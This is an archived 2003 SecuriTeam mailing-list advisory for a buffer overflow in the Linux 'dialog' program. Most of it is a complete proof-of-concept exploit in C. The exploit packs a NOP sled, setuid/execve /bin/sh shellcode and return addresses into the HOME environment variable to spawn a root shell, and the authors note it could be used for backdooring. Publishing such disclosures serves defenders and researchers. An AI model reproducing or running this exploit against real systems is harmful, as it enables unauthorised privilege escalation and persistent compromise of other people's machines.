[EXPL] Dialog Local Exploit (HOME)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03

  • Next message: SecuriTeam: "[EXPL] Linux x86 "joe" Local Exploit"
    To: list@securiteam.com
    Date: 13 Aug 2003 12:20:27 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Get Thawte's New Step-by-Step SSL Guide for MSIIS

    In this guide you will find out how to test, purchase, install
    and use a Thawte Digital Certificate on your MSIIS web server.
    Throughout, best practices for set-up are highlighted to help you
    ensure efficient ongoing management of your encryption keys and digital
    certificates. Get your copy of this new guide now:
    http://ad.doubleclick.net/clk;5903126;8265119;j

    - - - - - - - - -

      Dialog Local Exploit (HOME)
    ------------------------------------------------------------------------

    SUMMARY

    There exists a buffer overflow vulnerability in the dialog program that is
    used to display dialog boxes from scripts. As far as it is known, version
    0.9b-20030308 is affected by the vulnerability. The following is a proof
    of concept local exploit tested on Slackware [kernel 2.4.20].

    DETAILS

    Exploit:
    /*
      Linux x86 "cdialog (ComeOn Dialog!)" local exploit

      author: dodo <dodo@darkwired.ath.cx>
      author: tsunami <tsunami@darkwired.org>
      tested on: Slackware Linux (2.4.20), `dialog` 'version 0.9b-20030308'
      date: ? updated: 01-08-03
      
      notes:
      could be used for backdooring purposes..
      greets to everyone @ #darkwired
      thanks to everyone who helped
      
      usage:
      ./dw-dialogexp [offset]
      Slackware Linux offset: -2000

      contact:
      http://www.darkwired.org/
      dodo@darkwired.org
      tsunami@darkwired.org
      ssl-irc: irc.darkwired.org #darkwired
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    #define BSIZE 2092

    static char shell[]= /* van dergelijke internet locaties geplukt */
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
        "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
        "\x80\xe8\xe4\xff\xff\xff/bin/sh\x58";

    unsigned long get_sp(void)
    {
     __asm__("movl %esp, %eax");
    }

    int main(int argc, char *argv[])
    {
    char buffer[BSIZE+64];
    unsigned long sp = get_sp(), i;
    signed long offset = -2000;

      if(argc>1) offset = atoi(argv[1]);
      sp = sp - offset;

      memset(buffer, 0x90, BSIZE); //glijbaan
      memcpy(buffer+(BSIZE/2), (char *)&shell, strlen(shell));
      //memcpy(buffer+BSIZE, &sp, sizeof(sp));
        for(i=BSIZE-20;i<BSIZE+64;i+=4)
        {
        *(long *)&buffer[i] = sp;
        }
      buffer[BSIZE+64] = '\0';

      if(setenv("HOME", buffer, 1)==-1) return -1;
      system("dialog --title darkwired");

    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dodo@darkwired.ath.cx> dodo
    and <mailto:tsunami@darkwired.org> tsunami.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Linux x86 "joe" Local Exploit"

    Relevant Pages